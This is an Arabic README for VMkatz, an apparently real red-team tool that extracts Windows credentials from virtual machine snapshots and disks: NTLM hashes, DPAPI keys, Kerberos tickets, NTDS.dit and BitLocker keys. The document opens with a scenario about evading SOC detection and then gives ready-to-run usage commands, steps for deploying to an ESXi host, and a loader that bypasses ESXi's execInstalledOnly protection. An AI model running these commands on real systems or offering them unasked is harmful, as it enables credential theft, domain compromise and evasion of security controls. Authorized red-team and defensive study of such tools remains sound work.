VMkatz

كبير جدًا بحيث لا يمكن سرقته

أنت في الأسبوع الثالث من عملية فريق أحمر. حركة مرورك تتسلل عبر VPN، ثم ترتد عبر أربعة بروكسيات SOCKS متسلسلة عبر مضيفين تم اختراقهم قبل أن تلمس الشبكة المستهدفة. كل حزمة تسلك الطريق الخلاب.

بعد أيام من الحركة الجانبية، تهبط على NAS متصل بمجموعة المحاكاة الافتراضية، وتظهر قائمة الدليل بشكل مختلف: صفوف تلو صفوف من .vmdk و.vmsn و.sav. مئات الغيغابايت من الأجهزة الافتراضية - وحدات تحكم المجال، ومحطات عمل المسؤولين، الجواهر التاجية - موجودة هناك.

لكن رابطك يتنفس بصعوبة عند 200 كيلوبايت/ثانية. سحب صورة قرص واحدة بحجم 100 جيجابايت سيستغرق ستة أيام، وكل ساعة من التسريب المستمر هي فرصة أخرى لمركز العمليات الأمنية (SOC) لرصد الشذوذ، حرق النفق الخاص بك، وانهيار السلسلة بأكملها.

VMkatz موجود لأنك لا يجب أن تضطر إلى تسريب ما يمكنك قراءته في مكانه. يستخرج أسرار ويندوز - تجزئات NTLM، مفاتيح DPAPI الرئيسية، تذاكر Kerberos، بيانات اعتماد المجال المخزنة مؤقتًا، أسرار LSA، NTDS.dit، مفاتيح BitLocker - مباشرة من لقطات ذاكرة VM والأقراص الافتراضية، على NAS، والمشرف الافتراضي، أينما كانت ملفات VM.

ثنائي ثابت واحد، بحجم ~3 ميجابايت. أسقطه على مضيف ESXi، أو عقدة Proxmox، أو NAS. أشر به إلى .vmsn أو .vmdk أو مجلد VM كامل. انطلق مع بيانات اعتماد، وليس صور أقراص.

ما يستخرجه

من لقطات الذاكرة (LSASS)

جميع موفري بيانات اعتماد SSP التسعة التي ينفذها mimikatz:

بالإضافة إلى: استخراج BitLocker FVEK من الذاكرة (مسح علامات التجمع لـ FVEc/Cngb).

من الأقراص الافتراضية (دون اتصال)

• تجزئات SAM: تجزئات NT/LM للحسابات المحلية مع حالة الحساب (معطل، كلمة مرور فارغة)
• أسرار LSA: كلمات مرور حسابات الخدمة، بيانات اعتماد تسجيل الدخول التلقائي، مفاتيح حسابات الآلة
• بيانات اعتماد المجال المخزنة مؤقتًا: تجزئات DCC2 (آخر N من تسجيلات دخول المجال)
• مفاتيح DPAPI الرئيسية: تجزئات جاهزة لـ hashcat ($DPAPImk$ — أوضاع 15300/15310/15900/15910)
• NTDS.dit: استخراج تجزئات Active Directory كاملة من أقراص وحدة تحكم المجال (محلل ESE أصلي)
• فك تشفير BitLocker: فك تشفير شفاف للقرص باستخدام FVEK المستخرج من الذاكرة

المدخلات المدعومة

نظام التشغيل المستهدف: Windows Server 2003 حتى Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).

بداية سريعة

# استخراج بيانات اعتماد LSASS من لقطة VMware
./vmkatz snapshot.vmsn

# مع حل صفحة الذاكرة لبيانات الاعتماد المنقولة إلى الصفحة
./vmkatz --disk disk.vmdk snapshot.vmsn

# استخراج SAM/LSA/DCC2 من قرص افتراضي
./vmkatz disk.vmdk

# استخراج تجزئات AD من قرص وحدة تحكم المجال
./vmkatz --ntds dc-disk.qcow2

# أشر إلى مجلد VM ودعها تجد كل شيء
./vmkatz /path/to/vm-directory/

# استخراج من خلايا التسجيل الأولية
./vmkatz SAM SYSTEM SECURITY

# إخراج كتجزئات جاهزة لـ hashcat
./vmkatz --format hashcat snapshot.vmsn

# تصدير تذاكر Kerberos
./vmkatz --kirbi snapshot.vmsn        # ملفات .kirbi
./vmkatz --ccache snapshot.vmsn       # ملف .ccache

# تصدير FVEK لـ BitLocker لـ dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn

# مسح جميع VMs بشكل متكرر تحت مسار
./vmkatz -r /vmfs/volumes/datastore1/

# تحليل تفريغ ذاكرة LSASS
./vmkatz lsass.dmp

صيغ الإخراج

النشر على ESXi

# عبر-تجميع لـ ESXi (musl ثابت)
cargo build --release --target x86_64-unknown-linux-musl

# رفع وتشغيل
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn

عندما يكون حماية VIB (execInstalledOnly) مفعلًا، استخدم محمل Python — لا حاجة لتعطيل الإعداد:

scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn

انظر docs/esxi.md لتفاصيل تجاوز VIB، وصول جهاز VMFS الأولي، والاكتشاف التلقائي.

ميزات البناء

VMkatz معيارية. يمكن تمكين/تعطيل الميزات في وقت التجميع:

cargo build --release                                              # بناء كامل
cargo build --release --no-default-features --features vmware      # VMware فقط
cargo build --release --no-default-features --features "sam ntds.dit"  # أقراص فقط

التوثيق

• نشر ESXi، تجاوز VIB، وصول VMFS الأولي
• مثال على الإخراج
• الهندسة وتخطيط الوحدات
• الأهداف المختبرة والقيود المعروفة

الشكر والتقدير

• mimikatz من بنجامين ديلبي (@gentilkiwi) -- المرجع النهائي لداخلية LSASS وفك تشفير بيانات اعتماد Windows.
• pypykatz من تاماس جوش (@skelsec) -- إعادة تنفيذ mimikatz بلغة Python خالصة، يستخدم كمرجع تبادلي لاستخراج SAM/LSA/DCC2.
• Impacket من Fortra (في الأصل ألبيرتو سولينو @agsolino) -- تنفيذ مرجعي لاستخراج NTDS.dit وتنسيق الإخراج pwdump.
• مشروع Vergilius -- هياكل نواة Windows الموثقة المستخدمة للتحقق من حقول إزاحة EPROCESS عبر جميع الإصدارات المدعومة (XP حتى Win11 24H2).
• dissect.vmfs من Fox-IT (NCC Group) -- محلل VMFS بلغة Python من إطار عمل Dissect DFIR، يستخدم كمرجع لهياكل VMFS على القرص.
• vmfs-tools من مايك هومي -- تنفيذ مفتوح المصدر لـ VMFS3/5 يوثق هياكل القرص الأساسية وأنواع العناوين.
• volatility-kerberos من سيلفان بيريفيت (@citronneur, Airbus CERT) -- إضافة Kerberos لـ Volatility 3، ألهمت نهج استخراج التذاكر لاستعادة التذاكر اليتيمة من ذاكرة LSASS المحررة.